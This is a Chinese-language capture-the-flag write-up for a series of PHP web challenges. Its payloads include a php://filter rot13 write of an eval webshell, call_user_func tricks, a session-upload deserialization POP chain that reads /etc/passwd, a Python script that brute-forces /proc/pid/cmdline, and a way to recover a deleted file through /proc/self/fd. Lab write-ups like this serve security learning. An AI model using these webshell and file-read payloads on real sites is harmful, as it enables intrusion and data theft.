热身
在phpinfo()
中发现auto_prepend_file
,读取拿到flag
web1
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?>
死亡exit()绕过
file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)
php://filter 绕过死亡file_put_content()
payload:php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
这里的<?php @eval($_POST[cmd])
的rot13编码即为<?cuc @riny($_CBFG[pzq]);?>
中间的那两个竖线 中间的 内容是我们写入的东西
web2
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
session_id()
可以返回当前的会话id
payload:
POST:session_id=session_id
PHPSESSID=HappyNewYear
web3
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
弱类型比较,只要$key
为true即可
payload:
?1=session_start
?1=error_reporting
?1=json_last_error
web4
<?php
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
需要一个返回php后缀的函数
spl_autoload_extensions()
注册并返回sql_autoload函数使用的默认扩展名.inc,.php
(没错,这扩展名中有个逗号,就是这么奇怪)
payload:1= spl_autoload_extensions
web5
没成功
web6
反序列化字符串逃逸,打死都不做这种题
web7
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
Happy_New_Year!!!
class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)#3
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
php session 反序列化
pop链很简单
<?php
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$happy = new Happy();
$happy->happy = new _New_();//触发__get()
$happy->happy->daniu = new _New_();//触发__toString()
$happy->happy->daniu->daniu = new Year();
$happy->happy->daniu->robot = "zodiac";
$happy->happy->daniu->notrobot = "/etc/passwd";//string转换触发__toString
echo serialize($happy);
// echo "\n";
// echo str_replace('"','\"',serialize($happy));
?>
问题是哪里反序列化呢
注意到题目ini_set("session.serialize_handler", "php");
这里涉及到PHP session反序列化
构造表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<!--题目地址 -->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
上传抓包
修改filenam为|
+转义了双引号的序列化数据
根目录没有flag,查看进行/proc/{pid}/cmdline
爆破一下
import requests
import time
def get_file(filename):
data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain
------WebKitFormBoundarytyYa582A3zCNLMeL--"""
r=requests.post(url='http://0b0e1680-2477-4575-b36c-d4a9e2fed0d2.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'})
return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)
发现python3 /app/server.py
读取
import os
app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
flag被删了,但文件删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,也就是/proc/self/fd/
,通过这个我们即可得到被删除文件的内容(0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试)
读取http://127.0.0.1:5000/download/?filename=/proc/self/fd/3